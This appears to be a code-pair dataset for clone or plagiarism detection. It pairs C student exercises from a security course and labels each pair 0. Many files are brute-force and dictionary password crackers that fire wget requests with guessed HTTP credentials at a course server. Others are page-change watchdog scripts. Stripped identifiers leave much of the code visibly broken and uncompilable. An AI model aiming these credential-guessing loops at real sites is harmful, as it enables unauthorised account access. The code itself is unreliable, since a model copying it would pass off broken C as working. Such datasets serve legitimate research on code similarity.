len = strlen();
[strlen()-1] ='\0';
if(len <= 4)
{
count++;
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcat(url1,);
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
stopTime = time();
final = stopTime-startTime;
printf("\n SUCCESS\n");
printf("The password for the user : %s\n ",);
printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
printf("Number of attempts : %d\n",count);
exit(1);
}
}
}
}
| 0 |
000.c | 059.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255
int CrackPasswd(char *passwd)
{
int flag;
char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(string2," --http-user= --http-passwd='");
strcpy(,"");
strcat(, string1);
strcat(, string2);
strcat(, passwd);
strcat(, "'");
printf("Sending Request as %s\n",);
flag = system();
if (flag == 0)
{
printf("\nPassword is %s\n",passwd);
return 1;
}
strcpy(,"");
return 0;
}
int BruteForce(char *CharArray)
{
int i, j, k;
char passwd[MAX_SIZE];
for (i=0;i<MAX_SIZE;i++)
passwd[i] = '\0';
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
if(CrackPasswd(passwd) == 1)
return 1;
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
for(i=0;i<MAXSIZE;i++)
{
passwd[0] = CharArray[i];
for(j=0;j<MAXSIZE;j++)
{
passwd[1] = CharArray[j];
for(k=0;k<MAXSIZE;k++)
{
passwd[2] = CharArray[k];
if(CrackPasswd(passwd) == 1)
return 1;
}
}
}
return 0;
}
int (int argc, char *argv[])
{
char CharArray[MAXSIZE];
char ch='a';
int i,j;
int , end;
= time();
strcpy(CharArray,"");
for (i=0;i<MINSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
ch='A';
for (i=MINSIZE;i<MAXSIZE;i++)
{
CharArray[i]=ch;
ch++;
}
if (argc != 1)
{
fprintf(stdout,"Usage : ./BruteForce \n");
return(EXIT_FAILURE);
}
BruteForce(CharArray);
getpid();
end = time();
printf("Time Required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
000.c | 043.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
char word[15], *chk;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(15);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > difference.txt");
system("mailx -s \"Message1\" < difference.txt");
return 0;
}
| 0 |
000.c | 014.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122
int bruteforce_first(int passlen, int *attempts);
int bruteforce_two(int passlen, int *attempts);
int bruteforce_three(int passlen, int *attempts);
int main()
{
int i, wdlen = 1;
int runtime;
int counter ;
int initTime = 0, exitTime = 0, runTime = 0;
initTime = time();
if (bruteforce_first(wdlen, &counter) == 2) {
wdlen++;
if (bruteforce_two(wdlen, &counter) == 3) {
wdlen++;
if (bruteforce_three(wdlen, &counter) == 0)
printf("Success In Breaking The Password");
else
printf("Failure !!!!!!");
}
} else {
printf("Success In Breaking The Password");
}
exitTime = time();
runTime = (exitTime - initTime);
printf("\nNumber of attempts is... %d", counter);
printf("\nTime taken is %lld milli seconds\n", (runTime)/());
return 0;
}
int bruteforce_first(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
puts(str);
(*attempts)++;
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully:");
printf("Password is %s", str);
return 0;
}
}
return 2;
}
int bruteforce_two(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 0;
if (str[i] == 'Z') {
str[i] = 'a';
} else
str[i]++;
}
return 3;
}
int bruteforce_three(int passlen, int *attempts)
{
int i;
int j = MINCHAR;
char *str, *passwd;
str = (char *) malloc(passlen * sizeof(char));
for (i = 0; i < passlen; i++) {
str[i] = MINCHAR;
}
str[passlen] = '\0';
while (str[0] != MAXCHAR + 1)
{
for (i = MINCHAR; i <= MAXCHAR; i++) {
if (i == 91)
i = i + 6;
str[passlen - 1] = i;
(*attempts)++;
puts(str);
char [100];
sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);
if (system() == 0) {
printf("Password cracked successfully: ");
printf("Password is %s", str);
return 0;
}
}
i = 1;
while (i <= passlen - 1) {
if (str[passlen - i - 1] == 'z') {
str[passlen - i - 1] = MINCHAR;
str[passlen - 1 - 2]++;
break;
} else {
if (str[passlen - i - 1] == 'Z') {
str[passlen - i - 1] = 'a';
break;
} else {
str[passlen - i - 1]++;
break;
}
}
i++;
}
}
return 0;
}
| 0 |
000.c | 050.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *fp;
char *chk,[4];
int i=1;
while (i == 1)
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir first");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* first/");
system("mv www.cs.rmit.edu./students/*.* first/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("diff first second > imagesdifference.txt");
fp = fopen("imagesdifference.txt","r");
chk = fgets(, 4, fp);
if (strlen() != 0)
system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt");
}
return 0;
}
| 0 |
000.c | 016.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>
void emptyFile(char* name)
{
FILE* myFile;
myFile = fopen(name,"w");
fclose(myFile);
}
int (void)
{
FILE* myFile;
char* myString;
myString = malloc(sizeof(char ) * 100);
emptyFile(".old.html");
emptyFile(".new.html");
system("wget -O .old.html -q http://www.cs.rmit.edu./students/");
while(1)
{
emptyFile(".new.html");
system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
system("diff .old.html .new.html > watch.txt");
myFile = fopen("watch.txt","r");
if(myFile != (FILE*) NULL)
{
fgets(myString,100,myFile);
if(strlen(myString) > 0)
{
system("mail @cs.rmit.edu. < watch.txt");
system("cp .new.html .old.html");
}
}
sleep(60*60*24);
}
return 1;
}
| 0 |
000.c | 007.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir home");
system("mv www.cs.rmit.edu./images/*.* home/");
system("mv www.cs.rmit.edu./students/*.* home/");
system("cd www.cs.rmit.edu./images");
sleep(1);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir second");
system("mv www.cs.rmit.edu./images/*.* second/");
system("mv www.cs.rmit.edu./students/*.* second/");
system("cd www.cs.rmit.edu./images");
system("diff home second > difference.txt");
system("mailx -s \"Difference in \" < difference.txt ");
return 0;
}
| 0 |
000.c | 054.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>
int ()
{
int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;
char point[25];
fin1=fopen("./words.txt","r");
if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}
strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcpy(temp3,"");
(void) time(&u1);
while(!feof(fin1))
{
fgets(point,25,fin1);
if(strlen(point)<=4)
{
strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);
if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}
}
}
}
| 0 |
000.c | 021.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int i,j,k,count=0;
int total_time,start_time,end_time;
start_time = time();
for(i=0;i<52;i++)
{
m[0]=b[i];
m[1]='\0';
strcpy(c,m);
printf("%s \n",c);
for(j=0;j<52;j++)
{
m[0]=b[j];
m[1]='\0';
strcpy(c1,c);
strcat(c1,m);
printf("%s \n",c1);
for(k=0;k<52;k++)
{
count++;
printf("ATTEMPT :%d\n",count);
m[0]=b[k];
m[1]='\0';
strcpy(c2,c1);
strcat(c2,m);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
strcat(a,c2);
if(system(a)==0)
{
printf("Congratulations!!!!BruteForce Attack Successful\n");
printf("***********************************************\n");
printf("The Password is %s\n",c2);
printf("The Request sent is %s\n",a);
end_time = time();
total_time = (end_time -start_time);
total_time /= 1000000000.0;
printf("The Time Taken is : %llds\n",total_time);
exit(1);
}
}
}
}
return 0;
}
| 0 |
000.c | 030.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9
int ()
{ int startTime, stopTime, final;
int i,j,k;
int pass,count=0;
char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
char [4];
char url1[100];
char url2[100];
startTime = time();
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
count++;
[0] = arr[i];
[1] = arr[j];
[2] = arr[k];
[3] = '\0';
printf("Checking for the word :%s\n",);
strcpy(url1 ,"wget --http-user= --http-passwd=");
strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
strcat(url1,);
strcat(url1,url2);
pass = system(url1);
if (pass == 0)
{
printf("Success\n");
printf("Number of attempts = %d\n",count);
stopTime = time();
final = stopTime-startTime;
printf("The password for the user : %s\n",);
printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
exit(1);}
}
}
}
}
| 0 |
000.c | 044.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
char *itoa(int);
int ()
{
int t,t1,t2, timeinsec;
int nofattempts = 0;
char url[80], url1[80], *ur1, *ur2;
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
int i = 65;
int j ;
int k ;
char *c1, *c2, *c3;
char *c12, pass[4];
int syst = 1;
char a = 'a';
char inside[50];
t1 = time();
for (i = 65; i <= 122; i++)
{
if (i > 90 && i < 97) continue;
for (j = 65; j <= 122; j++)
{
if (j > 90 && j < 97) continue;
for (k = 65; k <= 122; k++)
{
fflush(stdin);
if (k > 90 && k < 97) continue;
c1 = itoa(i);
c2 = itoa(j);
c3 = itoa(k);
pass[0] = *c1;
pass[1] = *c2;
pass[2] = *c3;
pass[3] = '\0';
strcat(url, pass);
strcat(url, url1);
++nofattempts;
syst = system(url);
printf("%s\n",pass);
if (syst == 0)
{
t2 = time();
t = t2 - t1;
timeinsec = t / 1000000000;
printf(" Total .of attempts :- %d", nofattempts);
printf("\n !!! 's the password:- %s\n", pass);
printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
}
exit(0);
}
char *itoa(int a)
{
char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x",
"y", "z" };
char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L",
"M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z" };
char *ret;
if ( a >= 97 && a <= 122)
{
ret = [a-97];
return ret;
}
if ( a >= 65 && a <= 90)
{
ret = [a-65];
return ret;
}
return "5";
}
| 0 |
000.c | 051.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
int time1, time2, time_var;
int timeinsec, nofattempts;
char url[100], url1[80];
strcpy(url, "wget --http-user= --http-passwd=");
strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
char word[15], *chk;
chk = "word";
FILE *fp;
int syst = 1;
fp = fopen("words", "r");
time1 = time();
while(chk != NULL)
{
chk = fgets(word, 15, fp);
if (chk == NULL) exit(1);
word [ strlen(word) - 1 ] = '\0';
strcat(url, word);
strcat(url, url1);
if (strlen(word) == 3)
{
syst = system(url);
nofattempts = nofattempts + 1;
printf("\n %s %d\n",word,nofattempts);
}
if (syst == 0)
{
time2 = time();
time_var = time2 - time1;
timeinsec = time_var/1000000000;
printf("\n The Password is: %s",word);
printf("\n of Attempts: %d\n",nofattempts);
printf("\n Time Taken: %d seconds\n", timeinsec);
exit(1);
}
strcpy(url, "");
strcpy(url, "wget --http-user= --http-passwd=");
}
}
| 0 |
000.c | 066.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int ()
{
int cntr=0;
char get[96];
char username[]="";
char password[16];
int R_VALUE;
double time_used;
clock_t , end;
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
= clock();
while ( fscanf(fp,"%s",&password) != EOF )
{
if(strlen(password)>3) continue;
cntr++;
printf("%d >> PASSWORD SEND : %s \n",cntr, password);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
R_VALUE=system(get);
if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
exit(0);
}
}
end = clock();
time_used = ((double) (end - )) / CLOCKS_PER_SEC;
printf("time_used = %f\n", time_used);
}
| 0 |
000.c | 026.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include <stdio.h>
#include <sys/time.h>
#include <strings.h>
#include <stdlib.h>
#include <ctype.h>
int ()
{
FILE *fileopen;
char *t_tst,chk[6];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir original");
system("mv www.cs.rmit.edu./images/*.* original/");
system("mv www.cs.rmit.edu./students/*.* original/");
sleep(75);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* fresh/");
system("mv www.cs.rmit.edu./students/*.* fresh/");
system("diff one two > image_dif.txt");
fileopen = fopen("imagedif.txt","r");
t_tst = fgets(chk, 6, fileopen);
if (strlen(chk) != 0)
system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt");
return 0;
}
| 0 |
000.c | 067.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main ()
{
FILE *fp;
char s[300] , ptr[20];
system("rm *.html* ");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html First.html");
system("sleep 10");
system("wget http://www.cs.rmit.edu./students/ ");
system("diff First.html index.html > difference.txt" );
fp=fopen("difference.txt","r");
if(fgets(ptr,30,fp))
{
system( "mailx -s \"Changes were detected \" < difference.txt ");
}
else
printf(" were changes detected");
return 0;
}
| 0 |
000.c | 024.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(system(mx)==0)
{
printf("Password=%s\n",mx);
printf("%d \n",count);
end = time();
t = (end -);
t /= 1000000000.0;
printf("The total time_var taken is:%llds\n",t);
exit(1);
}
}
}
}
return 0;
}
| 0 |
000.c | 009.c | #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
public static void main()
{
int i;
char ar[100];
FILE* f;
FILE* ;
system("wget -O first www.rmit.edu./students");
while(1)
{
sleep(86400);
system("rm -f thed");
system("rm -f new");
system("wget -O new www.cs.rmit.edu./students");
system("diff new first >thed");
f=fopen("thed","r");
if(fgets(ar,100,f)!=NULL)
{
printf("\n\n The has CHANGEDS");
system("mail @cs.rmit.edu. <thed");
system("cp new first");
fclose(f);
}
else
{
fclose(f);
printf("\n\nthe has not changed ");
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>
int main()
{
char *wordptr = " word";
FILE *fp;
int syst = 1;
char string1[80], string2[50];
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
char words[30];
fp = fopen("words", "r");
while(wordptr != NULL)
{
wordptr = fgets(words, 30, fp);
if (wordptr == NULL) exit(1);
words [ strlen(words) - 1 ] = '\0';
strcat(string1, words);
strcat(string1, string2);
printf("\n %s \n",string1);
syst = system(string1);
if (syst == 0)
{
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
printf("%s", words);
}
}
| 0 |
023.c | 076.c | #include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
int ()
{
FILE *fh,*fp,*fp1,*d;
char
[10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];
sleep(60*60*24);
system("wget http://www.cs.rmit.edu./students");
if(system==0)
{
printf("File stored");
}
strcpy(filename,"index.html");
if((fh=fopen(filename,"r"))==NULL)
{
printf("cannot open file\n");
exit(1);
}
fp=fopen("index.txt","r");
fp1=fopen("index1.txt","r");
while((fgets(PassString,sizeof(PassString),fh))!= NULL)
{
fread(p,sizeof(PassString),sizeof(PassString),fh);
printf(" contents %s\n",p);
while((f1!=EOF) || (f2!=EOF))
{
f1=getc(fp);
f2=getc(fp1);
if(f1<f2)
{
strcpy(,p);
fp=fopen("index.txt","r+b");
fputs(,fp);
fflush(fp);
fclose(fp);
}
else
{
strcpy(temp1,p);
fp1=fopen("index1.txt","r+b");
fputs(temp1,fp1);
fflush(fp1);
fclose(fp1);
}
}
if(system("diff -b -w index.txt index1.txt > Diff.txt")==0)
{
d=fopen("Diff.txt","r");
if((fgets(,sizeof(),d))!=NULL)
{
printf("The difference between exist");
system("Mail \r\n Difference");
}
}
}
return 0;
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
